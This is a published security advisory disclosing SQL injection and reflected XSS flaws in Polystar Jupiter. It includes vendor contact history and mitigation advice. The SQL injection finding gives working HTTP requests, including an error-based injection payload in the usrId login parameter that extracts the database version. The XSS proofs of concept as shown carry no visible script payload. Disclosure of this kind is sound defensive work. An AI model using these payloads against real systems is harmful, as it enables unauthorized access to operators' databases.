Trustwave SpiderLabs Security Advisory TWSL2017-006: Multiple Vulnerabilities in Polystar Jupiter Published: 02/22/2017 Version: 1.0 Vendor: Polystar (http://www.polystar.com/) Product: Jupiter Version affected: All Product Description: Jupiter is a visualization tool used for analyzing large amounts of complex data from increasingly complex networks, including 4G, VoLTE, IMS, 3G and more. The Jupiter application suite provides dashboards, reports and analytical tools that createbusiness intelligence out of signalling data and help to deliver mission-critical information about operation and performance to a variety of departments. Finding 1: SQL Injection Credit: Elvin Hayes Gentiles of Trustwave SpiderLabs It is possible for an unauthenticated user to inject arbitrary SQL commands into Polystar Jupiter backend database. PoC FOR DETECTION: ================== Location: https://a.b.c.d/system/phpext/interface.php Parameter: usrId JSON parameter within the condition parameter REQUEST: -------- POST /system/phpext/interface.php HTTP/1.1 Host: a.b.c.d User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: https://a.b.c.d/ Content-Length: 206 Cookie: Compaq-HMMD=0001-1bc15ce6-7ef1-11e6-b37a-83d8f1d9e1f9-1474348469925404 Connection: close module=usrpro&action=validUser&condition={"usrId":"root'","passWd":"root","isEnctryted":false,"browserInfo":"firefox/48.0","vdfloaded":false}&transId=4 RESPONSE: --------- HTTP/1.1 200 OK Date: Wed, 21 Sep 2016 00:48:04 GMT Server: Apache/2.2.15 (Red Hat) X-Powered-By: PHP/5.3.3 Content-Length: 675 Connection: close Content-Type: text/html; charset=UTF-8 Exception:::Message:"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '.
Incorrect user name or password. Please try again.','')' at line 2 [SQL] : INSERT INTO system_log (createTime,time,moduleID,userID,moduleText,actionID,actionText,msgID,msgType,logMessage,misc) values(now(),1474418944,'usrpro','.other','','validUser','Log on','inputError','error ','Failed to log on user root'.
Incorrect user name or password. Please try again.','')" ==> Exception on line139 in file /var/www/jupiter-5.4.0.41/system/phpext/lib/dbbase/driver/DbMysql.class.php Exception Code is 0 PoC FOR EXPLOITATION: ===================== Location: https://a.b.c.d/system/phpext/interface.php Parameter: usrId JSON parameter within the condition parameter REQUEST: -------- POST /system/phpext/interface.php HTTP/1.1 Host: a.b.c.d User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: https://a.b.c.d/ Content-Length: 277 Cookie: Compaq-HMMD=0001-1bc15ce6-7ef1-11e6-b37a-83d8f1d9e1f9-1474348469925404 Connection: close module=usrpro&action=validUser&condition={"usrId":"root' OR (SELECT 1 FROM(SELECT COUNT(*),concat(version(),FLOOR(rand(0)*2))x FROM information_schema.TABLES GROUP BY x)a) AND '1'='1","passWd":"root","isEnctryted":false,"browserInfo":"firefox/48.0","vdfloaded":false}&transId=4 RESPONSE: --------- HTTP/1.1 200 OK Date: Thu, 22 Sep 2016 11:32:44 GMT Server: Apache/2.2.15 (Red Hat) X-Powered-By: PHP/5.3.3 Content-Length: 646 Connection: close Content-Type: text/html; charset=UTF-8 Exception:::Message:"Duplicate entry '5.5.37-MariaDB' for key 'group_key' [SQL] : INSERT INTO system_log (createTime,time,moduleID,userID,moduleText,actionID,actionText,msgID,msgType,logMessage,misc) values(now(),1474543965,'usrpro','.other','','validUser','Log on','inputError','error ','Failed to log on user root' OR (SELECT 1 FROM(SELECT COUNT(*),concat(version(),FLOOR(rand(0)*2))x FROM information_schema.TABLES GROUP BY x)a) AND '1'='1.
Incorrect user name or password. Please try again.','')" ==> Exception on line139 in file /var/www/jupiter-5.4.0.41/system/phpext/lib/dbbase/driver/DbMysql.class.php Exception Code is 0 Finding 2: Reflected Cross-site Scripting (XSS) Credit: Elvin Hayes Gentiles of Trustwave SpiderLabs Finding 2.1: The 'action' and 'module' parameter in Jupiter is vulnerable to a cross-site scripting vulnerability when Javascript is supplied via GET request. PoC: ==== REQUEST: -------- GET /system/phpext/interface.php?program=modset&action=getModId&module=modset&transId=3 HTTP/1.1 Host: a.b.c.d User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Cookie: Compaq-HMMD=0001-1bc15ce6-7ef1-11e6-b37a-83d8f1d9e1f9-1474348469925404 Connection: close Upgrade-Insecure-Requests: 1 RESPONSE: --------- HTTP/1.1 200 OK Date: Wed, 21 Sep 2016 01:05:34 GMT Server: Apache/2.2.15 (Red Hat) X-Powered-By: PHP/5.3.3 Content-Length: 258 Connection: close Content-Type: text/html; charset=UTF-8 Exception:::Message:"//root/module[@id="modset"]/action[@id="getModId"] is wrong!" ==> Exception on line84 in file /var/www/jupiter-5.4.0.41/system/phpext/lib/file/DomXml. class.php Exception Code is 0 Finding 2.2: The 'modules' JSON parameter within the 'condition' parameter in Jupiter is vulnerable to a cross-site scripting vulnerability when Javascript is supplied via POST request. PoC: ==== REQUEST: -------- POST /system/phpext/interface.php HTTP/1.1 Host: a.b.c.d User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: https://a.b.c.d/ Content-Length: 295 Cookie: Compaq-HMMD=0001-1bc15ce6-7ef1-11e6-b37a-83d8f1d9e1f9-1474348469925404 Connection: close Cache-Control: max-age=0 program=moload&module=moload&action=getModuleInfo&condition={"modules":["cellsmxss","clichk","tmesys","usrpro","modset","hlpmeu","logdlg"],"args":{"log":false,"preLoad":true,"content":true,"lang":true,"loadedApp":[]}}&transId=2 RESPONSE: --------- HTTP/1.1 200 OK Date: Wed, 21 Sep 2016 01:26:48 GMT Server: Apache/2.2.15 (Red Hat) X-Powered-By: PHP/5.3.3 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 123367 [{"moduleId":"cellsmxss","moduleName":null,"modulePath":false,"moduleType":null,"lang":null,"files":[]} Finding 2.3: The 'usrId' JSON parameter within the 'condition' parameter in Jupiter is vulnerable to a cross-site scripting vulnerability when Javascript is supplied via POST request. PoC: ==== REQUEST: -------- POST /system/phpext/interface.php HTTP/1.1 Host: a.b.c.d User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: https://a.b.c.d/ Content-Length: 207 Cookie: Compaq-HMMD=0001-1bc15ce6-7ef1-11e6-b37a-83d8f1d9e1f9-1474348469925404 Connection: close module=usrpro&action=validUser&condition={"usrId":"root","passWd":"root","isEnctryted":false,"browserInfo":"firefox/48.0","vdfloaded":false}&transId=4 RESPONSE: --------- HTTP/1.1 200 OK Date: Wed, 21 Sep 2016 01:31:48 GMT Server: Apache/2.2.15 (Red Hat) X-Powered-By: PHP/5.3.3 Content-Length: 151 Connection: close Content-Type: text/html; charset=UTF-8 {"msgDes":"Failed to log on user root.
Incorrect user name or password. Please try again.","misc":[],"msgType":"error"} Vendor Response: "The fixes for the items you sent are planned for our 6.0.1 release which will be released in Q1 2017." Remediation Steps: No fix is available for these vulnerabilities. To limit exposure, the application should only be accessible on the local network. Additionally, it is highly recommended that the administrator setup proper network segmentation and only authorized personnel has access through the use of Access Control Lists. Revision History: 09/27/2016 - Attempt to contact vendor 11/10/2016 - Attempt to contact vendor 12/12/2016 - Attempt to contact vendor 12/15/2016 - Vulnerability disclosed to vendor 12/26/2016 - Exceeded 90 days timeframe for vendor to release a patch 02/22/2017 - Advisory published About Trustwave: Trustwave is the leading provider of on-demand and subscription-based information security and payment card industry compliance management solutions to businesses and government entities throughout the world. For organizations faced with today's challenging data security and compliance environment, Trustwave provides a unique approach with comprehensive solutions that include its flagship TrustKeeper compliance management software and other proprietary security solutions. Trustwave has helped thousands of organizations--ranging from Fortune 500 businesses and large financial institutions to small and medium-sized retailers--manage compliance and secure their network infrastructure, data communications and critical information assets. Trustwave is headquartered in Chicago with offices throughout North America, South America, Europe, Africa, China and Australia. For more information, visit https://www.trustwave.com About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.